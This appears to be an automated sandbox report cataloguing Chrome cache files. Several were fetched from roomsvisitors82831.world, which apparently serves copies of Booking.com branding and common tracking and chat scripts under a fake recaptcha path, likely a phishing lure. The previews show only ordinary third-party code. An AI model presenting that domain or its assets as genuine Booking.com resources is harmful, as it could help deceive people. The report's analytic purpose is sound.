Preview:	.// Copyright 2012 Google Inc. All rights reserved.. . (function(w,g){w[g]=w[g]\|\|{};. w[g].e=function(s){return eval(s);};})(window,'google_tag_manager');. .(function(){..var data = {."resource": {. "version":"583",. . "macros":[{"function":"__v","vtp_name":"gtm.element","vtp_dataLayerVersion":1},{"function":"__e"},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"userId"},{"function":"__jsm","vtp_javascript":["template","(function(){if(0!==",["escape",["macro",2],8,16],")return ",["escape",["macro",2],8,16],"})();"]},{"function":"__d","vtp_elementId":"gtm-page-title","vtp_selectorType":"ID"},{"function":"__u","vtp_component":"QUERY","vtp_queryKey":"utm_campaign","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__remm","vtp_setDefaultValue":true,"vtp_input":["macro",5],"vtp_fullMatch":true,"vtp_replaceAfterMatch":true,"vtp_ignoreCase":true,"vtp_defaultValue":"0","vtp_map":["list",["map","key","^[0-9][0-9][0-9]*$"

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1197
Entropy (8bit):	5.250746419165476
Encrypted:	false
SSDEEP:
MD5:	E8209D74AD093F151954A3820C12E5D8
SHA1:	12FBF39039F0182026ABAF8B0A22E75C9BB316F7
SHA-256:	C80B9838465A2C5AA19E06C25631CD22D81DD8C76563875EBFB4D35304DFBA47
SHA-512:	4DC04BF54E06A26D78C6D71EAA392059B21EA8A01BF6C6B1EB808F9A01758C18DB18A28A9D74A841B3D5F2249787890944EC94EE0A6D4B2F99042138534800F2
Malicious:	false
Reputation:	unknown
URL:	https://cf.bstatic.com/static/img/favicon/9ca83ba2a5a3293ff07452cb24949a5843af4592.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Lovingly exported by Jess Stubenbord for Booking.com in Amsterdam 16-03-2023 -->.<svg version="1.1" id="bdot-favicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 192 192" style="enable-background:new 0 0 192 192;" xml:space="preserve">.<style type="text/css">...squircle{fill:#003B95;}...bdot{fill:#FFFFFF;}.</style>.<path class="squircle" d="M37.8,0h116.5C175.1,0,192,16.9,192,37.8v116.5c0,20.9-16.9,37.8-37.8,37.8H37.8C16.9,192,0,175.1,0,154.2V37.8..C0,16.9,16.9,0,37.8,0z"/>.<g id="bdot-group">..<path class="bdot" d="M144.2,143.8c6.7,0,12.1-5.5,12.1-12.2c0-6.7-5.4-12.2-12.1-12.2c-6.7,0-12.1,5.4-12.1,12.2...C132.1,138.3,137.6,143.8,144.2,143.8z"/>..<path class="bdot" d="M106.7,91.9l-3.1-1.7l2.7-2.3c3.2-2.7,8.4-8.8,8.4-19.3c0-16.1-12.5-26.5-31.8-26.5H60.9h-2.5...c-5.7,0.2-10.3,4.9-10.4,10.6V144h35.4c21.5,0,35.4-11.7,35.4-29.8C118.7,104.4,114.2,96.1,106.7,91.9z M67.6,66c0-4.7,2-7,6.4

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64779)
Category:	dropped
Size (bytes):	104485
Entropy (8bit):	5.417406725688212
Encrypted:	false
SSDEEP:
MD5:	9A2D3A1D106D28AD41D3FB8F9BA389E6
SHA1:	FD012E4C2C4790FB52FE5F01D31C39F3D7C23F7E
SHA-256:	0A6DAE6DAEC7C410FA4B8842058C1E2F12DDD2264DDE02F7E38653E67FDC3735
SHA-512:	DCB13605060D4E81F91B477B294F5C20B92C0576135D5FBC716A26A6551EC6A390377C52AA6B8964BF05678E0D6A42060CF81F0DB39E65379846E251FFFD7FE7
Malicious:	false
Reputation:	unknown
Preview:	./@preserve.Version 2.20.0./../@license. Copyright 2002 - 2018 Qualtrics, LLC.. * All rights reserved.. . Notice: All code, text, concepts, and other information herein (collectively, the. * "Materials") are the sole property of Qualtrics, LLC, except to the extent. * otherwise indicated. The Materials are proprietary to Qualtrics and are protected. * under all applicable laws, including copyright, patent (as applicable), trade. * secret, and contract law. Disclosure or reproduction of any Materials is strictly. * prohibited without the express prior written consent of an authorized signatory. * of Qualtrics. For disclosure requests, please contact notice@qualtrics.com.. */..try {. !function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,ge

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8684), with no line terminators
Category:	dropped
Size (bytes):	8684
Entropy (8bit):	5.742023115474536
Encrypted:	false
SSDEEP:
MD5:	0E0AC797D413C7FCA6C1F08DE9D10E03
SHA1:	7B60701742BCFF7988B5D94989AAFE81533AFC2F
SHA-256:	C4ACA596CEA8709166C2316B76AECB08351AD195AFCF0450A6AF4CC7D4677D14
SHA-512:	FFB31A5D454BB7B6611C0058D41A5BCFE0ED5C4A61FC159A3F72609C8409F15C5CBD9EF8700C169E0839063907C3D519403D00C01A00D5815AD5537FD6E81187
Malicious:	false
Reputation:	unknown
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(W,h,i,n,o,s,z,A){W=b,function(c,d,V,e,f){for(V=b,e=c();!![];)try{if(f=parseInt(V(358))/1+-parseInt(V(402))/2*(parseInt(V(345))/3)+parseInt(V(450))/4+parseInt(V(411))/5+-parseInt(V(453))/6+parseInt(V(413))/7+-parseInt(V(347))/8,f===d)break;else e.push(e.shift())}catch(E){e.push(e.shift())}}(a,860743),h=this\|\|self,i=h[W(346)],n=function(a4,d,e,f){return a4=W,d=String[a4(460)],e={'h':function(E){return null==E?'':e.g(E,6,function(F,a5){return a5=b,a5(382)[a5(404)](F)})},'g':function(E,F,G,a6,H,I,J,K,L,M,N,O,P,Q,R,S,T,U){if(a6=a4,null==E)return'';for(I={},J={},K='',L=2,M=3,N=2,O=[],P=0,Q=0,R=0;R<E[a6(421)];R+=1)if(S=E[a6(404)](R),Object[a6(376)][a6(384)][a6(422)](I,S)\|\|(I[S]=M++,J[S]=!0),T=K+S,Object[a6(376)][a6(384)][a6(422)](I,T))K=T;else{if(Object[a6(376)][a6(384)][a6(422)](J,K)){if(256>K[a6(427)](0)){for(H=0;H<N;P<<=1,F-1==Q?(Q=0,O[a6(369)](G(P)),P=0):Q++,H++);for(U=K[a6(427)](0),H=0;8>H;P=P<<1.19\|1.13&U,Q==F-1?(Q=0,O[a6(369)](G(P)),P=0):Q++,U>>

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19837)
Category:	downloaded
Size (bytes):	47441
Entropy (8bit):	5.193030847078852
Encrypted:	false
SSDEEP:
MD5:	3B0A6D3C6F064ECA97E7F98BDC8188A9
SHA1:	F5B85A2247E97B079B3ECDFC2C90E2D521DAB787
SHA-256:	E5DB3CAB0C2207CB1DE0628469B8A0E685FFD712E0291D6300B6B85018186FC7
SHA-512:	D728D43444F066B33F298DCB9D288FBE4F7DEC9DB61CE201605AC72ACCB51F96728311BAE354FFEC738D2CDF15F56970C37CDCA0A7ED5B024F28C6732E02D2CE
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/js_zUWZ8vHBjCkHXdvpkV82RaG13NjL_IQlO1Izx4sOcPk.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/* @license GPL-2.0-or-later https://www.drupal.org/licensing/faq */..function ownKeys(object,enumerableOnly){var keys=Object.keys(object);if(Object.getOwnPropertySymbols){var symbols=Object.getOwnPropertySymbols(object);enumerableOnly&&(symbols=symbols.filter(function(sym){return Object.getOwnPropertyDescriptor(object,sym).enumerable;})),keys.push.apply(keys,symbols);}return keys;}.function _objectSpread(target){for(var i=1;i<arguments.length;i++){var source=null!=arguments[i]?arguments[i]:{};i%2?ownKeys(Object(source),!0).forEach(function(key){_defineProperty(target,key,source[key]);}):Object.getOwnPropertyDescriptors?Object.defineProperties(target,Object.getOwnPropertyDescriptors(source)):ownKeys(Object(source)).forEach(function(key){Object.defineProperty(target,key,Object.getOwnPropertyDescriptor(source,key));});}return target;}.function _defineProperty(obj,key,value){if(key in obj){Object.defineProperty(obj,key,{value:value,enumerable:true,configurable:true,writable:true});}else{o

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 63, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:
MD5:	2AB2168352AFDFC9E147AB2E22F3CBBE
SHA1:	CCA23ADAEAD0448C2D71EF3B8AFAA22D849A8D8D
SHA-256:	55A4DA499F44558560C0B14E7F8532613BC4FD6132BC51490F90A7CBDB646957
SHA-512:	060EAF767829B3E9C58787EFEEB2A18D5F2D6ED23193BEE117FC6EA1B6ED9E7105661299E1E7AA00A2ED4B5831499AED8C0AC3E041F64EB35D002FF784AFC5A6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...d...?........7....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3999), with no line terminators
Category:	dropped
Size (bytes):	3999
Entropy (8bit):	5.287231253296021
Encrypted:	false
SSDEEP:
MD5:	3321D1A28A12625F2E1DAF9849E61B9A
SHA1:	774776869F647945C1D7EEF365F153D9B169A571
SHA-256:	5301F707E23E46946EB407AE6B79A44E6D4C9C39986AD6CDA8405E81CDD485EB
SHA-512:	A6C444BD03CBA5D4DA3FF0F00E14FFCC0A0F3B069F1804D5C477139A5CFD6C3C153BA5D961FA83B45813C386EC38BB82096B764CA31254E4BA1AFBA85FA6215C
Malicious:	false
Reputation:	unknown
Preview:	(()=>{"use strict";var t={81:(t,a)=>{var e,n,r,i;a.o3=void 0,function(t){t.identifier="index",t.initiator="initiator",t.manifest="manifest",t.commons="commons",t.main="main",t.modificationEngine="me",t.jquery="jquery",t.crossDomainIframe="cross-domain-iframe",t.fakeAd1="-banner-ad.abt",t.fakeAd2="banner-ads-abt",t.fakeAd3="static-ad-abt"}(e\|\|(a.o3=e={})),function(t){t.IDENTIFIER="identifier",t.INITIATOR="initiator",t.CLIENT="client",t.JSON="json",t.MANIFEST="manifest",t.SHARED="shared"}(n\|\|(n={})),function(t){t.accountJs="accountJs",t.consentJs="consentJs",t.fragmentJs="fragment-",t.customAnalytics="custom-analytics-",t.campaignJs="campaign-js-",t.variationJs="variation-js-",t.scopeJs="scope-js-",t.triggerJs="trigger-js-",t.componentJs="component-js-",t.integration="integration-"}(r\|\|(r={})),function(t){t.widgets="widgets"}(i\|\|(i={}))}},a={};const e="error::",n="warning::",r={allowed:document.cookie.indexOf("abTastyDebug=")>=0};function i(t,a,e){if(function(){const t=!window.abTastySto

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65466)
Category:	downloaded
Size (bytes):	223833
Entropy (8bit):	5.361273898428459
Encrypted:	false
SSDEEP:
MD5:	B95D3AC1F88D6144159761F6BED23BF0
SHA1:	067D12D0D24B880BBACD84AB0417C9435BA6DB8F
SHA-256:	E2E979778EAF68ABACEABF7DF43831007EBE7E532058760E7F7014A00FF4CFAF
SHA-512:	2F5DABA7E79D37E688E5BBE6F2C0E47AFAD4C103979E475EEEB0BD8584A14C6D5797598F3C5C8844FA2232C87B038588112AB49D94C06EFDC60B60CD904ACF3A
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/kindly-chat.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/! For license information please see kindly-chat.js.LICENSE.txt /.(()=>{var e,t,n={8959:(e,t,n)=>{"use strict";n.d(t,{A:()=>r,W:()=>a});const r="v2",a=Object.freeze(["agent","alerts","bot","chatbubble","privacy","lightbox","nudge"])},2186:(e,t,n)=>{"use strict";n.d(t,{n:()=>a,m:()=>r});const r={default:"'IBMPlex', 'Helvetica Neue', Helvetica, Arial, sans-serif",KindlySans:"KindlySans"},a="\n@font-face {\n font-family: 'KindlySans';\n src: url(".concat("https://chat.kindlycdn.com/src/assets/fonts/KindlySans-Regular.65d6f01a87841a240c37cd04c52f3c2f.otf",") format('OpenType');\n}\n\n@font-face {\n font-family: 'IBMPlex';\n font-weight: 400;\n src: url(").concat("https://chat.kindlycdn.com/src/assets/fonts/IBMPlexSans-Regular.2c412e2f77ae69aa2154613095be7130.ttf",") format('truetype');\n}\n\n@font-face {\n font-family: 'IBMPlex';\n font-weight: 500;\n src: url(").concat("https://chat.kindlycdn.com/src/assets/fonts/IBMPlexSans-Medium.c4877bdfa15aef22d9255288b16899

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1267
Entropy (8bit):	5.135215587630299
Encrypted:	false
SSDEEP:
MD5:	02E0A0955868BA9F2172CB6AAEFB16FC
SHA1:	DBA1606F7BFBA27670874E1006EE8F839E80F734
SHA-256:	259E401F415A32AF0130704A0B246A8309EDFAA8BFC39BDAAC2DAE4736CAC364
SHA-512:	9AB905B06495850DF79B4E47B9DD5008745E3E19D979FAA82A3ECC0DE510DFE0840D2E934CCBEB54948D7F69B87FA0CE496B278565CE2C2F7B57B39AF288A154
Malicious:	false
Reputation:	unknown
URL:	https://messaging.messagebird.com/livechat/widget/73cbe1f0-9cdd-42c7-a4ac-ba30d08eeebe?tz=America/New_York
Preview:	{"styles":{"mainColor":"#003b95","secondaryColor":"#003b95","avatarColor":"#003b95","bubblesColor":"#ffffff"},"conversationBridging":{"enabled":false,"timeUnit":"s","maxWaitTime":0},"allowedMediaTypes":{"attachments":false,"emoji":false,"links":false},"availableChannels":[],"agents":[],"popups":[{"id":"fcae621e-8da4-4cb3-9558-b9ac4a1e09e0","name":"First question","templates":{"en":"Welcome to Partner Hub chatbot. \n\nAre you an accommodation partner or a guest?"},"waitTime":"5s","enabled":false,"buttonsEnabled":true,"showSetting":"showOnce","createdAt":"2021-06-17T11:45:37.8532Z","updatedAt":"2022-12-08T13:02:23.085351Z","conditions":null,"buttons":[{"message":{"en":"Partner"}},{"message":{"en":"Guest"}}]}],"title":"Live Widget - Booking","botName":"","logo":"https://media.messagebird.com/v1/media/d33e61fe-3532-4f93-829f-509dd87b3758","icon":"https://media.messagebird.com/v1/media/5f5222be-8fa4-41b9-9524-722f284fdd7f","defaultLanguage":"en","profilePicture":"https://media.messagebird.c

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	425
Entropy (8bit):	4.833072972258076
Encrypted:	false
SSDEEP:
MD5:	B0A25CD1958468D69DA33A38D9E54E27
SHA1:	0733EB54DEFDCD3F09DB790858F2B82539B834CF
SHA-256:	3D4A8C85D1FA4AF2E681298AB68D5416B7B9E5FE999CEF0C6147AFCA7C797CAD
SHA-512:	36DE418E35B9A3EA4A9F4CC26FEF37582E7FDF0CA34C89AEADB4141E8EA9860A819490E8EB6DD62718AAE50C8D019DB9499D045ADEDF759040901777E1FA4BF5
Malicious:	false
Reputation:	unknown
URL:	https://dcinfos-cache.abtasty.com/v1/geoip?weather=false
Preview:	{"country_name":"United States","country_iso_code":"US","state":"New York","state_iso_code":"NY","city":"New York","city_id":5128581,"city_confidence":-1,"postal_code":"10118","latitude":40.7123,"longitude":-74.0068,"accuracy_radius":20,"time_zone":"America/New_York","least_specific_subdivision":{"name":"New York","iso_code":"NY"},"most_specific_subdivision":{"name":"New York","iso_code":"NY"},"ip_address":"8.46.123.189"}

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8461)
Category:	downloaded
Size (bytes):	336903
Entropy (8bit):	5.5793755934989715
Encrypted:	false
SSDEEP:
MD5:	DD02E9DA5370FD7121B34EB676BFDB91
SHA1:	E01EF358765EECEE1D3C52EA2702827575C6E08F
SHA-256:	6DD17A85F4C4FD79D94206454126973D0EB42A59F4B2E39C972ACB9720FE1E13
SHA-512:	F72C0E19E1E360EDC629B004C61C0F3554A8FE9B386D0CDDC7EA9FE9FCA70F3C03F5F504465FD239D2704B323181CACAD4DEAB41380E34F982B8954C4DB01AA7
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/js
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"8",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":false},{"function":"__c","vtp_value":"google.ru"},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":20,"vtp_value":true,"tag_id":10},{"function":"__ogt_ip_mark","priority":20,"vtp_instanceOrder":0,"vtp_paramValue":"internal","vtp_ruleResult":["macro",1],"tag_id":12},{"function":"__ogt_defer_custom_events","priority":20,"vtp_isDeferred":true,"tag_id":13},{"function":"__ogt_1p_data_v2","priority":20,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_manualEmailEnabled":false,"vtp_cityValue":"","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneValue":"","vtp_autoPhoneEnabled":false,"vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_autoAddressEnabled":fa

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:
MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmzrX4VB8DZ1hIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4265
Entropy (8bit):	4.64461158757635
Encrypted:	false
SSDEEP:
MD5:	D84B0A6F5ED9B1A340897B16FC6C99D0
SHA1:	2D4295CFCE298EF195DBDBA1C8B859068CDB40C2
SHA-256:	D897AE8A7368593BF51E6BD6D4D0CC1A4E37A3EFE7D1D832E1E175B10A5BF703
SHA-512:	A7CD48F941BA9EB879AE9BC2DE913EC6315B98B1EB4CD637F42C9CD9552AD190DC92C09AA00ECF5F2590E31576703325D3D3E2BB818B4C1C48A1575532527844
Malicious:	false
Reputation:	unknown
URL:	https://try.abtasty.com/71cd12cdf77ebcb750cff91a9bba6f04/manifest.json
Preview:	{. "1187597.1473569.json": "71cd12cdf77ebcb750cff91a9bba6f04/1187597.1473569.json?afd3b67375e34272ae8f5c89ce6cd2aa",. "1187597.1475776.json": "71cd12cdf77ebcb750cff91a9bba6f04/1187597.1475776.json?afd3b67375e34272ae8f5c89ce6cd2aa",. "1230587.1524483.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230587.1524483.json?fbf7535e353f7a713370f0627209d05c",. "1230587.1524489.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230587.1524489.json?fbf7535e353f7a713370f0627209d05c",. "1230587.1524492.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230587.1524492.json?fbf7535e353f7a713370f0627209d05c",. "1230587.1524495.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230587.1524495.json?fbf7535e353f7a713370f0627209d05c",. "1230587.1547532.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230587.1547532.json?fbf7535e353f7a713370f0627209d05c",. "1230588.1524484.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230588.1524484.json?e7621748e5a2dcec5ee96f6e97409d9e",. "1230588.1524491.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230588.15

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	83826
Entropy (8bit):	5.366264835806005
Encrypted:	false
SSDEEP:
MD5:	DB5A931B5024FE86A63D507A3F84D84F
SHA1:	D81BBFE9BF6EA1AC288F3E8B21D60EBD87AF379C
SHA-256:	2DA38B5D5A8ACA1FC64BDD32CB444AD738D49010A1A28E4933AC3D50CC84AF6B
SHA-512:	08967F4790A8EB4139DE1B3050583811AF8D5AA9D538A6D36248C9FEC0B20C47A31974A36907C6F584187073B45CEEF14102ABD17E8512A66F931D22A4B17ADF
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/s.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	"use strict";!function(n){function i(){Object.entries\|\|(Object.entries=function(e){for(var t=Object.keys(e),n=t.length,i=new Array(n);n--;)i[n]=[t[n],e[t[n]]];return i})}"undefined"!=typeof localStorage&&"undefined"!=typeof sessionStorage&&setTimeout(function(){window.__rctEnv="production";var e,t=function(){var e=["Object.entries","Object.assign","Object.freeze","Object.keys","Symbol","Symbol.iterator"],t=[],n=!1;if(Object.entries&&Object.assign&&Object.freeze&&Object.keys&&window.Symbol&&window.Symbol.iterator)return[];for(var i=0;i<document.scripts.length;i++){var a=document.scripts[i].getAttribute("src");if(a&&a.match(/polyfill\.io/g)&&a.match(/\?features\=/g)){var n=!0,o=(a.split(/\?\|\&/)[1]\|\|"").replace("features=","").split(",");if(o.length)for(var r=0;r<e.length;r++)~o.indexOf(e[r])\|\|t.push(e[r])}}return n&&t\|\|e}();t.length?((e=document.createElement("script")).src="https://polyfill.spinnaker-js.com/v2/polyfill.min.js?features="+t.join(",")+"&flags=gated",document.body.appendCh

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	unknown
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27105), with no line terminators
Category:	dropped
Size (bytes):	27105
Entropy (8bit):	5.1882055546664825
Encrypted:	false
SSDEEP:
MD5:	486069F519602CD7A85210EEEF214C3F
SHA1:	936F7D424C5AE2C9992F610B1412B008877A53E3
SHA-256:	7B88851071652C16727C30F78DEE657DC1E2739750FB3F077F03FF9868E3224D
SHA-512:	8D073E2D7F7E50D394FA261EF5A505D3763E88984200A8F5FF4A56B6EB84103F8CD63DC0AE742D50E91E4EF16FF29CFF3FED412188BE96FBE050FA3EDCB33031
Malicious:	false
Reputation:	unknown
Preview:	"use strict";(self.webpackChunktag=self.webpackChunktag\|\|[]).push([[693],{9290:(e,t,r)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.deleteEvents=t.setEvents=t.setModificationDuringClick=t.isModificationDuringClick=t.isClickInProgress=void 0;var n=r(4476),a=r(3478),o=!1,i=!1,u=(t.isClickInProgress=function(){return o},t.isModificationDuringClick=function(){return i},t.setModificationDuringClick=function(e){i=e}),l=function(){o=!1,i&&((0,n.getWindow)().requestAnimationFrame(a.startLoop),u(!1))},d=function(e){var t=e.type;o=!0,"mouseup"===t&&setTimeout((function(){return o&&l()}),16)},c={passive:!0,capture:!0},f={mousedown:d,mouseup:d,click:function(){return setTimeout(l,0)}},s=Object.keys(f);t.setEvents=function(){s.forEach((function(e){document.addEventListener(e,f[e],c)}))},t.deleteEvents=function(){s.forEach((function(e){document.removeEventListener(e,f[e],c)}))}},107:(e,t,r)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.rerun=t.simpleRollbackAndStop=t.stop=t.start=t.ro

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	troff or preprocessor input, ASCII text, with very long lines (14445)
Category:	downloaded
Size (bytes):	24695
Entropy (8bit):	5.044487400323895
Encrypted:	false
SSDEEP:
MD5:	E96A85131843A7762D6C85C161B4C66B
SHA1:	16ADE4B1EBDCB091BD4A56C34F03399B21F83630
SHA-256:	5B13FF3B2E19C2EEC561FA89EC8358795373D08D801EA2C129EC1C26D8FF3DE7
SHA-512:	08CCAA1858B0AF71573B5035B6C71E6ECFB988508F75520E4887622ACAD71F510243829BD905A4C835112829EC59A089F63FB438C9C8896AE73678A28660BB2E
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/css_qR9PuTOfjBwk_QF0eH_l7CaFWMC2a6C0GnhcHLoY3bU.css
Preview:	/* @license GPL-2.0-or-later https://www.drupal.org/licensing/faq */..text-align-left{text-align:left;}.text-align-right{text-align:right;}.text-align-center{text-align:center;}.text-align-justify{text-align:justify;}.align-left{float:left;}.align-right{float:right;}.align-center{display:block;margin-right:auto;margin-left:auto;}..fieldgroup{padding:0;border-width:0;}..container-inline div,.container-inline label{display:inline-block;}.container-inline .details-wrapper{display:block;}.container-inline .hidden{display:none;}..clearfix::after{display:table;clear:both;content:"";}..js details:not([open]) .details-wrapper{display:none;}..hidden{display:none;}.visually-hidden{position:absolute !important;overflow:hidden;clip:rect(1px,1px,1px,1px);width:1px;height:1px;word-wrap:normal;}.visually-hidden.focusable:active,.visually-hidden.focusable:focus{position:static !important;overflow:visible;clip:auto;width:auto;height:auto;}.invisible{visibility:hidden;}..item-list__comma-list,.item-list

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (508)
Category:	downloaded
Size (bytes):	1260
Entropy (8bit):	5.4430232956828695
Encrypted:	false
SSDEEP:
MD5:	E75E5BA140B1C7E6EA79786633C1BA0D
SHA1:	7A0ED3EB87905134623782643465B91B1B8E9E07
SHA-256:	A2091F1FF92CC073E178DCA31707853E0CC6CD913A5344A8978F040FA373EFA6
SHA-512:	68603B9868C58D8F5010B591FBA926433AC3EB5F0B7F0C45F90972C9410138FB9E7D013C7F3F3E33C71F6EBF9ECF4E8132AABC4EBC6D47FA43682B54E2051E0D
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/munchkin.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/. Copyright (c) 2007-2023, Marketo, Inc. All rights reserved.. * See https://developers.marketo.com/MunchkinLicense.pdf for license terms. * Marketo marketing automation web activity tracking script. * Version: prod r944. */. (function(b){if(!b.Munchkin){var c=b.document,e=[],k,l={fallback:"163"},g=[164,null],m=function(){if(!k){for(;0<e.length;){var f=e.shift();b.MunchkinTracker[f[0]].apply(b.MunchkinTracker,f[1])}k=!0}},n=function(f){var a=c.createElement("script"),b=c.getElementsByTagName("base")[0]\|\|c.getElementsByTagName("script")[0];a.type="text/javascript";a.async=!0;a.src=f;a.onreadystatechange=function(){"complete"!==this.readyState&&"loaded"!==this.readyState\|\|m()};a.onload=m;b.parentNode.insertBefore(a,b)},.h={CLICK_LINK:"CLICK_LINK",VISIT_WEB_PAGE:"visitWebPage",init:function(b){var 